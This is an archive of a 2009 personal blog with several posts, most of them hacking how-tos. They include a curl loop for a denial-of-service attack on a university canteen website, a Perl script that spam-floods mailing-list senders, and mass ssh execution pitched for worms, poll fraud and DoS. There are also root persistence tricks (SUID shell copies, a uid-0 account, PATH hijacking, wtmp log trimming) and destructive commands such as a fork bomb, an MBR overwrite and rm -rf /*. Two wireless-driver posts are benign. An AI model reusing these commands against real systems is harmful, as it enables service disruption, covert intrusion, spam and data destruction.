Thursday, October 22, 2009

Abuse the load time of a Web page, for DoS & profit

In my university, we have different canteens (this is how it's called) where you can eat for lunch. Each canteen puts its food on a common website.

You also have the possibility to see what was yesterday's lunch, but also tomorrow's one. Basically, if you request tomorrow's offer, the URL will look like
http://X?ref=1
If you want yesterday's URL, you will type
http://X?ref=-1
And obviously, if you want to have the menu that was available 2 days ago, you just have to type
http://X?ref=-2
Of course, the idea is to input a big number here and see what happens. Usually, big numbers are escaped. Let's have a try...
http://X?ref=-20000
This gives us the offers of the Wednesday, Jan 19 1955. Of course, the entry is empty, but it's fun to come back that much. Now we add one more '0'
http://X?ref=-200000
The date now is Jan 1st 1970. This date should talk to you (doesn't it ?). Do we have an overflow somewhere in there ? Clearly, there is a validation input issue. I also quickly tested other escape patterns, they did not work.

However, we can measure the load time of the page to see if our input modifies it. To do it, I will use this small script that will only count the load time

for i in $(seq 1 8000000 2000000000)
do
curl -s -w "%{time_total}\n" -o /dev/null http://X.php?ref=-$i >> /tmp/result.txt
done
Then, we can plot the result of the previous command.

I admit I wasn't expecting such an increase. The script probably has an internal loop and iterates over the argument we provide. If we decrease the granularity by increasing the increment, but also the limit, this rule is confirmed as you can see on the next plot.



This time, we start seeing some discrepancies, but the overall picture is still linear. Since we get such a nice graph, why not trying with HUGE values ?

curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000
30.084

The last request took 30s to be computed. So what's next ? If it takes 30 seconds for 1 request, what will happen for 4000 requests ?

for i in {1..4000}
do
curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000 > /dev/null &
done

You will notice that a '&' was added at the end of the command, in order it to fork. It will probably dramatically slow down your computer, but you will eventually crash the remote machine.

Actually, the load time trick has already been used in the past. Typically, you could use this to query a database: depending on the time it takes to answer, you'll be able to deduce whether the login/pass was in the database or not (sort of "side channel attack").

Well, once you can identify this kind of behavior (change in the processing time upon request), it becomes just a matter of requests for the machine to become out of ressources. Here, the server is misconfigured: one should not allow so many request from a client in such a small time, especially when they increase the resource consumption, and one should also check the input validation more carefully.

Tuesday, September 29, 2009

Defeat google's canned response

There is a great application in gmail lab, called "canned responses". Basically, it replies on your behalf, when your email matches the filter you set up.
This is great for example if you go on vacation and you want to auto-reply a particular message. However, gmail is following "too well" the standard.

In my case, I was really disturbed by the emails I was receiving from my school associations. You know, they are the kind of emails you absolutely don't care about.

So what's the problem ?


The problem is this emails are sent through lists. Usually, there is a moderator deciding whether or not forwarding the email. In my case, I couldn't unsubscribe from the list and I was receiving like 3-5 emails/day.
When using the gmail canned responses, it replied to the "list-bounce" (ie following theReturn-Path in the email header and then, the sender did not receive my email back. That was a pitty.
The idea was then to:
  1. Effectively reply to the sender, not to the bouncer.
  2. Also send an email to the list moderator to show my displeasure.
Sounds like a perl script would be very easy to write. I created a new gmail account and I enabled the POP (Settings->Forwarding and POP/IMAP). On my main email address, I forwarded the email matching a certain pattern to this new mailbox.
To respond to the sender, I was using the mailx command, for simplicity.


Perl is new for me, so my coding style is crappy, I know. Of course, feel free to criticize it if you feel the need.



#!/usr/bin/perl -w
my $user = 'bobo@gmail.com';
my $pass = 'papassword';
my $home = '/home/blabla/automailer';

my $pop = new Mail::POP3Client(
USER => $user,
PASSWORD => $pass,
HOST => "pop.gmail.com",
PORT => 995,
USESSL => 'true',
);

my $count = $pop->Count();
for my $i (1 .. $count) {
my $name = "";
my $email = "";
my $subj = "";
foreach ($pop->Head($i)) {
$name = $1 if /^(?:From):(.+)<(.+)>/i;
$email = $1 if /^(?:From):(?:.+)<(.+)>/i;
$subj = $1 if /^(?:Subject):(.+)/i;
}

# We remove the spaces at beginning/end
s/^\s+// for $subj;
s/\s+$// for $subj;
s/^\s+// for $email;
s/\s+$// for $email;
s/^\s+// for $name;
s/\s+$// for $name;

# We save the history
open FILE, "< $home/contact.txt" or die; my @array = ;
close FILE or die;
my $found = 0;
my $number = 0;
for my $i (0..$#array) {
if ($array[$i] =~ /$email\s+(\d+)/) {
$number = $1;
$number++;
$array[$i] =~ s/$1/$number/;
$found = 1;
# print FILE;
}
}
if ($found == 0) {
push(@array, "$email 1\n");
$number = 1;
}
open FILE, "> $home/contact.txt" or die;
print FILE @array;
close FILE or die;

my $msg;
$msg .= "Hi $name,\n\n";
$msg .= "I'm an auto replier.\n";
$msg .= "Thanks a lot for your email \"".$subj."\", but I am absolutely not interested. Next time,
please remove my address from your contact list.\n";
$msg .= "Since apparently you already sent me ".$number." times an email, I am going to do the same
x6. Thus, I'm sending you back ".($number * 6)." emails.\n" if ($number > 1);
$msg .= "\n";
$msg .= "Thanks,\n";
$msg .= "\n";
$msg .= "Blabla.";
$msg .= "\n";
# print $msg;
open FILE, "> $home/msg.txt" or die;
print FILE $msg;
close FILE or die;

for (my $i = 0; $i < $number; $i++) { `mailx $email -s \"Not interested: $subj $i\" < $home/msg.txt`; `mailx crappylist\@vovo.com -s \"Not interested: $subj $i\" < $home/msg.txt`; } $pop->Delete($i);
}
$pop->Close();




So what do we do ?

  • We first connect to the server and retrieve every email.
  • For each email, we take the sender's name, email address and the subject.
  • We build the message with the previously collected data.
  • We send the message and update the history. An entry in the history is email - times. First time we are polite, then we send 6x the number of emails the sender sent to us.
  • We send the email using mailx (easy way...).
  • We delete the message on the server, in order not to reprocess it.
There we have a very effective auto-replier that will spam back the sender (and the list btw). You can put this Perl script in you crontab, of run a small bash script in a screen that will execute it every 10 minutes for instance.

The end of the story ?

The administrator contacted me, because I was improperly using the computer resources of my school and I had to shut off my script :(...

Wednesday, September 16, 2009

ath5k: now in Master mode !

This is a good news for those who have had big troubles with their Wireless drivers on the alix box.
Finally, from kernel 2.6.31, ath5k supports master mode !

At the time I am writing, kernel26 2.6.31 is not yet in the core repository for arch linux, thus you'll have to get it from the testing branch.

I did different tests with multiple computers/iPhone, this works amazingly well, I reach speeds like never before !

Before, I had ath_pci and ath5k cohabiting on the same system. ath5k was complaining about a noise calibration problem:

ath5k phy0: noise floor calibration timeout (2412MHz)

However, what was weird was that the connection between my laptop and the router was dramatically slowed down as well. As a remember, I was using ath_pci for the card that linked the router to my laptop and ath5k for the card that linked the router to the wireless access point. My conclusion was that ath5k and ath_pci work together somehow.
By removing ath_pci from my system, the messages disappeared and my connection became way better. Of course, I did not have access to the router anymore.

Now that ath5k provides master mode (through hostapd), everything is solved and I have very nice speeds between both links, ie laptop to router and router to ap.

Saturday, September 5, 2009

Using NFS to simply abuse the system

It's not unusual that companies and schools use NFS (& LDAP) to virtually connect the machines together. Thus, if you connect on machine X, you will find the same content as if you had connected to machine Y.
This is a very nice feature, because everywhere is like home :). It also means that if we have access to all these machines, we can take control of all of them at the same time.

In this article, I will show and mention different examples where we can take benefits from multiple machines connected by NFS.


To make it possible, we will simply use ssh. Basically, what we want to do is
  1. Connect on every machine of a predefined list.
  2. Execute the script on the machine.
  3. Quit and connect to the next one.
This is extremely easy to do that. First, you create a ssh key pair, without any password:


ssh-keygen -t rsa
[...]

Now that you have the public key available, you can put it in your authorized_keys file. If you don't know what I am talking about, here is a neat article. Next, we can connect to all machines:

for i in $POSTS; do
echo $i
ssh -T -o "StrictHostKeyChecking no" -o ConnectTimeout=3 \
-i $KEY -l user $i $TOEXEC
done

Here are few comments about the command:
  • $POSTS is a list of machine you want to connect on.
  • "StrictHostKeyChecking no": ssh won't complain about not knowing the key.
  • ConnectTimeout=3: Abandon if cannot connect after 3 seconds.
  • KEY : place where your private key lies. Usually it's in ~/.ssh/
  • $TOEXEC: The command you want to exec on the remote machine. You can set EXEC=$1 if you want to pass a parameter to the file.
Now if you suppose that this snippet of code is called ./paral.sh, let me show you what kind of interesting application we can do with it.

  1. The singing machines: like on this video, you can make 80 iMac singing. Upload a sound file on a directory that NFS shares, and then, execute ./paral.sh "aplay /soundfile.wav". Here, I also used the "at" command to somehow synchronize them together, but did not work very well. In the same room as the video was taken, we made a script that was making the machines speaking together. That was fun.
  2. Exploit & rootkit the machines: for those of you that are more "evil", you can think about exploiting all the machines together. This is an easy way to write a small worm. Again, put your exploit in your shared directory and execute the ./paral.sh file from one machine.
  3. Abuse the web: it happens too often that web services recognize you based on your IP address. For example, you won't be able to vote a poll more than once a day. With this trick, you can use multiple machines to vote for a poll (provided you did the bot). Here is an example you can try to "attack": http://www.guesslotto.com/
  4. Use multiple machine to perform DoS, etc...
  5. Parallelize your work: if you have heavy calculations to perform, you can split it on multiple machines using this trick.
  6. etc.
This is a terrificly easy trick, but I have a lot of fun with it. I am using it especially to circumvent web protections.


Have fun 8)

Saturday, August 29, 2009

Quick & dirty ways to rootkit a linux machine

Today's topic is gonna be a bit lame.
It already happened to me that I do have an opportunity to get a root access on a box, but I don't have any backdoor available.
Here are few techniques that are extremely noisy (ie not furtive) but worth knowing or repeating.

SUID bit

Once you get the root access, you can set the SUID bit on a shell. As a remember, the setuid bit allow a user to run an executable with the permissions of the executable's owner. Once you obtain the root on the box, you can thus copy the shell and set this bit.

Here is an example:

> whoami
root
> cp /bin/bash /bin/...
> la /bin/ | head -n 4
total 5236
drwxr-xr-x 2 root root 4096 2009-08-28 20:35 .
drwxr-xr-x 20 root root 4096 2009-08-27 21:33 ..
-r-sr-xr-x 1 root root 607644 2009-08-28 20:35 .a <------ > logout
> whoami
cam0
> /bin/... -p
> whoami
root

Of course, this is extremely easily detected, simply by doing a

find / -perm +4000 -ls

Discrete SSH

Few years ago in Phrack 64, they give the following ssh trick. The -T option of ssh (client), disables the pseudo tty allocation. Basically, it means that if you want to connect on a machine using ssh, but not appear in the lastlog/wtmp, use the following:

ssh -T user@host /bin/bash -i

This is a neat trick that will give you an interactive shell.

Adding key to .ssh/authorized_keys

Again, if you are in a hurry, just add your personal public key to the user's .ssh/authorized_keys file. Usually, this is somewhere one doesn't really look into.

Remove/Change password of an existing user

When I say "existing user", I don't mean the user "joe". I mean the user lp, nobody, daemon, etc. Basically, you will give this user a shell, and eventually a password (or not?). I think the easiest way is to use the passwd command:


> passwd bin
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

You'll also have to modify the /etc/passwd entry:

> grep bin: /etc/passwd
bin:x:0:0:bin:/bin:/bin/bash

Now you'll get the root:

> su - bin
Password:
> whoami
root

Open a server

In 5 lines of perl, you can set up a server. However, opening a port in the wild, is probably not really recommended. What you could do, is add some basic iptables rules to act as a port knocker, or even use a port knocker a la knockd. Thus, the port will open upon reception of specially crafted packets.
Of course, you could also play with xinetd if installed.

Add yourself to groups / change file permission

This is dumb and wouldn't do it, but assume that you change permission on some specific files, then you'll be able to have write access whenever you want. However, this technique does not work very well nowadays, simply because the program will check that sensible files are not accessible.

Modify the root's $PATH environment variable

As you might know, the $PATH variable is here to look for programs. If you add a special directory to it (for example in the root's .bashrc), it will first look at it. Thus, you'll be able to put whatever you want in there:


> cat /tmp/bash
#!/bin/bash
echo hello
> whoami
root
> bash
hello
> echo $PATH
/tmp/:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin::/usr/bin/perlbin/site:/usr/bin/perlbin/vendor:/usr/bin/perlbin/core

Remove entries when typing the "last" command

When you type the "last" command, you get the last activities on your system in term of login/shutdown, etc. The file is saved in /var/log/wtmp. Well, usually, we simply clean up this file (possibly with the lastlog one), but I wanted just to remove 1 entry in this file. I wrote a small C file to get the size of the utmp structure.

#include <>
#include <>

int main(void)
{
printf("Size is: %d\n", sizeof(struct utmp));
}

The result is 384. Thus, each entry in the /var/log/wtmp has a size of 384B.

> ll /var/log/wtmp
-rw-r--r-- 1 root root 133632 2009-08-29 09:39 /var/log/wtmp
> echo $((133632/384))
348
> last | head -n 5
cam0 tty1 Sat Aug 29 09:39 still logged in
cam0 tty1 Sat Aug 29 09:39 - 09:39 (00:00)
reboot system boot 2.6.30-ARCH Sat Aug 29 09:37 (02:07)
cam0 tty1 Fri Aug 28 19:53 - down (03:35)
cam0 tty1 Fri Aug 28 19:53 - 19:53 (00:00)
> cp /var/log/wtmp /tmp/
> dd if=/tmp/wtmp of=/var/log/wtmp bs=384 count=346 (ie 348-2)
> last | head -n 3
reboot system boot 2.6.30-ARCH Sat Aug 29 09:37 (02:05)
cam0 tty1 Fri Aug 28 19:53 - down (03:35)
cam0 tty1 Fri Aug 28 19:53 - 19:53 (00:00)

From the first 348 entries, we remove the 2 last entries and we can see it when prompting the last command for the second time.




Obviously there exist plenty of other nicest ways to keep an access on your machine if you have time and software at your disposal.

Tuesday, August 18, 2009

6 ways to crash your linux. Because it's fun and useless :)

This is the kind of topics that are completely useless, but that I like. It's probably like playing the Wii, it's useless, but you (we) like it.
Well, here are different ways to crash your linux box, some of them are well known, like the fork bomb, others are more obscure. Some are irreversible, others are just "for the session", where a simple reboot is enough.

Let's see them.
  • The Fork bomb: this is a classic I shouldn't mention. Actually, it has a whole wikipedia page devoted to it.
     :(){ :|:& };: 
    will run your machine out of resource, unless you limit user processes in /etc/security/limits.conf.
  • The next will overwrite your MBR with (pseudo) random data. At least you'll be sure not to boot your OS again (neither Windows).

    dd if=/dev/urandom of=/dev/sda bs=512 count=1
  • Reading I/O ports can have some nice "side effects". Try to run this command and you'll see what I'm talking about
    sudo less -f /dev/port
    The result will be that your machine will freeze. I did not dig into that to know why it was freezing, but this is fun :).
  • What happens when you overwrite the memory of a process ? Usually, it segfaults. You can put some fun (mess ?) in your system memory:
    cp /dev/zero /dev/mem
  • This one became a cult, just because it probably already happened to you. You somehow make a confusion and you remove every single file on your hard drive
    rm -rf /*

  • Finally, we could use the power of the find command, with the 'exec' argument that will execute the command that follows it. This kind of mistake can happen when you are in a hurry.

    find . -type f -name * -exec rm -f {} \;

Hopefully, a lot of these commands (except the fork bomb) won't damage your computer if you run them as a simple user, simply because the linux system won't let you access the file you don't have the permission on.
Obviously, if you try to write some LKM, the kernel will probably crash without your approval :P. From here, you could do whatever you want, since you are "God Almighty".

Do you know some other ways to crash your machine ? Don't hesitate to post your way in here.

Saturday, August 15, 2009

ath_pci & ath5k: I want to use both of them

Here is my problem:
I have two physical wireless cards. Until now, I was using the madwifi ath_pci modules for both cards. However, it fails a lot, is not very accurate, triggers kernel oops, losses the connection, etc. To sum up, I really don't like it. However, there is another option, by using the ath5k module. Sadly, ath5k does not support AP mode for now (well, it's experimental). So what I want to do is to use ath_pci for one card, the one that will be configured as AP, and ath5k for my client.

Thanks to a geek friend (he'll recognize himself, hein nicolas ?), he figured out that we can unbind the device, as it is explained in here.

Basically, I load both drivers (ath5k and ath_pci) when my box boots, and then, I simply do

echo 0000:00:0e.0 > /sys/bus/pci/drivers/ath5k/unbind
echo 0000:00:0e.0 > /sys/bus/pci/drivers/ath_pci/bind

We simply unbind the desired interface from ath5k and bind it again to ath_pci. To know which number to assign, just do a lspci. That works great.